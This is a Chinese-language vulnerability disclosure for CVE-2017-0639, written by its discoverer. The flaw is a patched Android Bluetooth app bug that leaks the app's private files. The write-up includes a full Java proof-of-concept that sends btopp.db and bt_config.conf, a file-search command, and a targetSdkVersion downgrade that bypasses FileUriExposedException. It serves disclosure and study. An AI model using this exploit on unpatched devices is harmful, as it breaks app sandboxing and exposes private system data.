蓝牙App漏洞系列分析之二CVE-2017-0639
蓝牙App漏洞系列分析之二CVE-2017-0639
0x01 漏洞简介
Android本月的安全公告,修复了我们发现的另一个蓝牙App信息泄露漏洞,该漏洞允许攻击者获取 bluetooth用户所拥有的私有文件,绕过了将应用数据与其他应用隔离的操作系统防护功能。
漏洞信息如下:
- CVE: CVE-2017-0639
- BugID: A-35310991
- 严重性: 高危
- 漏洞类型: 信息泄露
- Updated AOSP versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2
0x02 漏洞缘起
在发现这个漏洞之前,我浏览了 Android 2017年2月的安全公告,其中两个并排的高危信息泄露漏洞引起了我的注意:
- CVE-2017-0420: AOSP邮件中的信息泄露漏洞
- CVE-2017-0414: AOSP短信中的信息泄露漏洞
查看这两个信息漏洞的补丁注释,分别为
- Don't allow file attachment from /data through GET_CONTENT
- Thirdparty can attach private files from "/data/data/com.android.messaging/" directory to the messaging app。
涵义非常清晰,似乎邮件和短信 App 均遗漏了对发送的文件进行验证,本地攻击者可以添加 App 私有目录的数据文件发送出去,从而破坏了 Android 沙箱所提供的应用数据相互隔离的安全防护功能。
这两个漏洞可以归纳为一类针对具有对外发送或共享功能App的攻击,Android中会不会还有类似的功能具有类似的漏洞?另外,注意到上述两个漏洞的发现者并非一人,只是巧合地同时出现在2月份的安全公告之中,发现者似乎还没有意识到这类攻击的通用性,也许真的还没有搜刮干净?
0x03 攻击面——蓝牙的信息分享
除了短信、邮件,很容易想到蓝牙也是 Android 一个很重要的信息对外发送出口。通常,我们选择一个文件的分享按钮,选择蓝牙,就可以触发蓝牙的文件发送功能,这是通过蓝牙 App 暴露的 BluetoothOppLauncherActivity 所实现。该 Activity 根据传入的 Intent.ACTION_SEND 或 Intent.ACTION_SEND_MULTIPLE ,启动一个线程处理单个文件或多个文件的对外发送。主要代码如下
/*
* Other application is trying to share a file via Bluetooth,
* probably Pictures, videos, or vCards. The Intent should contain
* an EXTRA_STREAM with the data to attach.
*/
if (action.equals(Intent.ACTION_SEND)) {
// TODO: handle type == null case
final String type = intent.getType();
final Uri stream = (Uri)intent.getParcelableExtra(Intent.EXTRA_STREAM);
CharSequence extra_text = intent.getCharSequenceExtra(Intent.EXTRA_TEXT);
// If we get ACTION_SEND intent with EXTRA_STREAM, we'll use the
// uri data;
// If we get ACTION_SEND intent without EXTRA_STREAM, but with
// EXTRA_TEXT, we will try send this TEXT out; Currently in
// Browser, share one link goes to this case;
if (stream != null && type != null) {
if (V) Log.v(TAG, "Get ACTION_SEND intent: Uri = " + stream + "; mimetype = "
+ type);
// Save type/stream, will be used when adding transfer
// session to DB.
Thread t = new Thread(new Runnable() {
public void run() {
BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this)
.saveSendingFileInfo(type,stream.toString(), false);
//Done getting file info..Launch device picker and finish this activity
launchDevicePicker();
finish();
}
});
t.start();
return;
} else {
Log.w(TAG,"Error trying to do set text...File not created!");
finish();
return;
}
} else {
Log.e(TAG, "type is null; or sending file URI is null");
finish();
return;
}
} else if (action.equals(Intent.ACTION_SEND_MULTIPLE)) {
final String mimeType = intent.getType();
final ArrayList<Uri> uris = intent.getParcelableArrayListExtra(Intent.EXTRA_STREAM);
if (mimeType != null && uris != null) {
if (V) Log.v(TAG, "Get ACTION_SHARE_MULTIPLE intent: uris " + uris + "\n Type= "
+ mimeType);
Thread t = new Thread(new Runnable() {
public void run() {
BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this)
.saveSendingFileInfo(mimeType,uris, false);
//Done getting file info..Launch device picker
//and finish this activity
launchDevicePicker();
finish();
}
});
t.start();
那么,传入蓝牙 App 私有数据试试!先寻找 bluetooth 所拥有的私有文件,
angler:/ # find /data -user bluetooth -exec ls -al {} \; 2> /dev/null
可以选定两个bluetooth所拥有、有实质内容的文件作为发送对象,file:///data/user_de/0/com.android.bluetooth/databases/btopp.db和file:///data/misc/bluedroid/bt_config.conf
很快可以写出PoC
public class MainActivity extends AppCompatActivity {
Button m_btnSendPriv = null;
Button m_btnSendMPriv = null;
private final static String PRIV_FILE_URI1 = "file:///data/user_de/0/com.android.bluetooth/databases/btopp.db";
private final static String PRIV_FILE_URI2 = "file:///data/misc/bluedroid/bt_config.conf";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
m_btnSendPriv = (Button)findViewById(R.id.send_private);
m_btnSendPriv.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(Intent.ACTION_SEND);
intent.setType("text/plain");
Uri uri = Uri.parse(PRIV_FILE_URI1);
intent.putExtra(Intent.EXTRA_STREAM, uri);
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
startActivity(intent);
}
});
m_btnSendMPriv = (Button)findViewById(R.id.send_private_multiple);
m_btnSendMPriv.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(Intent.ACTION_SEND_MULTIPLE);
intent.setType("text/plain");
ArrayList<Uri> uris = new ArrayList<Uri>();
uris.add(Uri.parse(PRIV_FILE_URI1));
uris.add(Uri.parse(PRIV_FILE_URI2));
intent.putExtra(Intent.EXTRA_STREAM, uris);
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
startActivity(intent);
}
});
}
}
0x04 进一步分析
真的那么简单吗?编译PoC,运行却抛出了安全异常!
--------- beginning of crash
06-12 10:32:43.930 16171 16171 E AndroidRuntime: FATAL EXCEPTION: main
06-12 10:32:43.930 16171 16171 E AndroidRuntime: Process: ms509.com.testaospbluetoothopplauncher, PID: 16171
06-12 10:32:43.930 16171 16171 E AndroidRuntime: android.os.FileUriExposedException: file:///data/user_de/0/com.android.bluetooth/databases/btopp.db exposed beyond app through ClipData.Item.getUri()
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.os.StrictMode.onFileUriExposed(StrictMode.java:1799)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.net.Uri.checkFileUriExposed(Uri.java:2346)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.ClipData.prepareToLeaveProcess(ClipData.java:832)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.Intent.prepareToLeaveProcess(Intent.java:8909)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.Intent.prepareToLeaveProcess(Intent.java:8894)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Instrumentation.execStartActivity(Instrumentation.java:1517)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Activity.startActivityForResult(Activity.java:4224)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.support.v4.app.BaseFragmentActivityJB.startActivityForResult(BaseFragmentActivityJB.java:50)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.support.v4.app.FragmentActivity.startActivityForResult(FragmentActivity.java:79)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Activity.startActivityForResult(Activity.java:4183)
原来触发了 FileUriExposed 错误,出于安全考虑,Android SDK 23 以上就不能在 Intent 中传递 file:// Uri ,见官方说明:
对于面向 Android 7.0 的应用,Android 框架执行的 StrictMode API 政策禁止在您的应用外部公开 file:// URI 。如果一项包含文件 URI 的 intent 离开您的应用,则应用出现故障,并出现 FileUriExposedException 异常。要在应用间共享文件,您应发送一项 content:// URI,并授予 URI 临时访问权限。进行此授权的最简单方式是使用 FileProvider 类。
似乎宣判了死刑!心有不甘,继续分析 BluetoothOppLauncherActivity 后面的文件处理流程,调用链为 saveSendingFileInfo--> generateFileInfo ,查看 generateFileInfo 函数,我们发现其实是支持传入 file:// URI 的。
public static BluetoothOppSendFileInfo generateFileInfo(Context context, Uri uri,
String type) {
ContentResolver contentResolver = context.getContentResolver();
String scheme = uri.getScheme();
String fileName = null;
String contentType;
long length = 0;
// Support all Uri with "content" scheme
// This will allow more 3rd party applications to share files via
// bluetooth
if ("content".equals(scheme)) {
contentType = contentResolver.getType(uri);
Cursor metadataCursor;
try {
metadataCursor = contentResolver.query(uri, new String[] {
OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE
}, null, null, null);
} catch (SQLiteException e) {
// some content providers don't support the DISPLAY_NAME or SIZE columns
metadataCursor = null;
} catch (SecurityException e) {
Log.e(TAG, "generateFileInfo: Permission error, could not access URI: " + uri);
return SEND_FILE_INFO_ERROR;
} if (metadataCursor != null) {
try {
if (metadataCursor.moveToFirst()) {
fileName = metadataCursor.getString(
metadataCursor.getColumnIndex(OpenableColumns.DISPLAY_NAME));
length = metadataCursor.getLong(
metadataCursor.getColumnIndex(OpenableColumns.SIZE));
if (D) Log.d(TAG, "fileName = " + fileName + " length = " + length);
}
} finally {
metadataCursor.close();
}
}
if (fileName == null) {
// use last segment of URI if DISPLAY_NAME query fails
fileName = uri.getLastPathSegment();
}
} else if ("file".equals(scheme)) { // Notice!!!
fileName = uri.getLastPathSegment();
contentType = type;
File f = new File(uri.getPath());
length = f.length();
} else {
// currently don't accept other scheme
return SEND_FILE_INFO_ERROR;
进一步查阅相关资料发现,原来 FileUriExposed 错误只是 SDK 引入的一项安全机制,仅仅是为了防止 Intent 的接收方访问发起方的私有文件。但是在我们这种攻击场景下,我们是要 Intent 的接收方 BluetoothOppLauncherActivity 访问其自己的私有文件,而且查看上述代码,蓝牙 App 既有对 file:// URI 的支持,也缺乏对文件是否属于私有目录的验证,Why not?
既然是 SDK 23 以后引入的安全机制,那么我们把 build.gradle 中的 targetSdkVersion 从原先的25改为23,从而绕过 SDK 的检查,重新编译运行,就可以将 Bluetooth App 的私有文件通过蓝牙发送出去,而这些文件原本连用户均无法获取,这就打破了 Android 沙箱的应用间数据隔离机制。至此,大功告成!
0x05 时间线
- 2017.02.13: 提交Google
- 2017.03.01: 漏洞确认,初始评级为高
- 2017.06.05: 补丁发布
- 2017.06.12: 漏洞公开
蓝牙App漏洞系列分析之二CVE-2017-0639的更多相关文章
- 蓝牙App漏洞系列分析之一CVE-2017-0601
蓝牙App漏洞系列分析之一CVE-2017-0601 0x01 概要 2017年5月的 Android 安全公告修复了我们提交的一个蓝牙提权中危漏洞,这个漏洞尽管简单,但比较有意思,能够使本地恶意 A ...
- 蓝牙App漏洞系列分析之三CVE-2017-0645
蓝牙App漏洞系列分析之三CVE-2017-0645 0x01 漏洞简介 Android 6月的安全公告,同时还修复了我们发现的一个蓝牙 App 提权中危漏洞,该漏洞允许手机本地无权限的恶意程序构造一 ...
- nova创建虚拟机源码系列分析之二 wsgi模型
openstack nova启动时首先通过命令行或者dashborad填写创建信息,然后通过restful api的方式调用openstack服务去创建虚拟机.数据信息从客户端到达openstack服 ...
- 一步步实现windows版ijkplayer系列文章之二——Ijkplayer播放器源码分析之音视频输出——视频篇
一步步实现windows版ijkplayer系列文章之一--Windows10平台编译ffmpeg 4.0.2,生成ffplay 一步步实现windows版ijkplayer系列文章之二--Ijkpl ...
- linux驱动由浅入深系列:高通sensor架构实例分析之二(驱动代码结构)【转】
本文转载自:https://blog.csdn.net/radianceblau/article/details/73498303 本系列导航: linux驱动由浅入深系列:高通sensor架构实例分 ...
- Hybrid APP基础篇(二)->Native、Hybrid、React Native、Web App方案的分析比较
说明 Native.Hybrid.React.Web App方案的分析比较 目录 前言 参考来源 前置技术要求 楔子 几种APP开发模式 概述 Native App Web App Hybrid Ap ...
- Struts2 漏洞系列之S2-001分析
0x00 前言 最近在学习java的相关漏洞,所以Struts2的漏洞自然是绕不开的.为了更好的理解漏洞原理,计划把Struts2所有的漏洞自己都做一个复现.并且自己去实现相关的POC.相关的环境 ...
- 移动APP漏洞自动化检测平台建设
移动APP漏洞自动化检测平台建设 前言:本文是<移动APP客户端安全笔记>系列原创文章中的第一篇,主要讲的是企业移动APP自动化漏洞检测平台建设,移动APP漏洞检测发展史与前沿技术,A ...
- APP漏洞扫描用地址空间随机化
APP漏洞扫描用地址空间随机化 前言 我们在前文<APP漏洞扫描器之本地拒绝服务检测详解>了解到阿里聚安全漏洞扫描器有一项静态分析加动态模糊测试的方法来检测的功能,并详细的介绍了它在针对本 ...
随机推荐
- 专业写博一天------ArrayList 线程安全
首先我们要了解什么是线程安全: 首先我们要明白线程的工作原理,jvm有一个main memory ,而每个线程有自己的working memory,一个线程对一个variable 进行操作时,都要 ...
- STS中MyBatis的基本实现
本文采用的是<深浅spring boot 2.x>中第5章的例子,用一个接口实现对一个表项的读取. 数据库:mysql下建立user数据库,表名为t_usr 1. 数据源设置 在appli ...
- 并查集 --cogs456 岛国
题目链接:http://cogs.pro:8081/cogs/problem/problem.php?pid=pNyNQiqge 思路: 基础是并查集,将两个相邻的岛算作一个集合,每次若合并成功,则N ...
- 【VS开发】CTabView多页卡界面
转载地址:http://blog.csdn.net/akof1314/article/details/5618454 目录(?)[-] Public Methods Protected Methods ...
- SpringBoot中使用aop-测试
面向切面编程(AOP),该种方式主要是为了弥补面向对象编程(OOP)的不足,通过配置切面以及关注点.通知等我们可以在程序的任意位置对我们的代码进行增强(执行一些代码),AOP是Spring的特性之一, ...
- SpringBoot整合MyBatis完成用户查询
接上面工程代码,可以参考:https://www.cnblogs.com/braveym/p/11349409.html 1 .在 mapper 接口中以及映射配置文件中添加相关代码 修改UserMa ...
- Similar String Groups
Two strings X and Y are similar if we can swap two letters (in different positions) of X, so that it ...
- Redis(1.9)Redis主从复制
[1]实验环境 CentOS7.5 + Redis4.0.11 架构:原生1主2从,做实验机器有限,从库双实例 主库:192.168.135.170 从库1:192.168.135.171~6379 ...
- linux下对服务器性能监控shell脚本
#!/bin/bash #提取本服务器的IP地址信息 ENO1=`ifconfig | sed -n '1,1p' | awk -F ' ' '{print $1}'` IP=` -d -d &quo ...
- PAT B1011 A+B 和 C (15)
AC代码 #include <cstdio> int main() { int T, tcase = 1; scanf("%d", &T); for(int i ...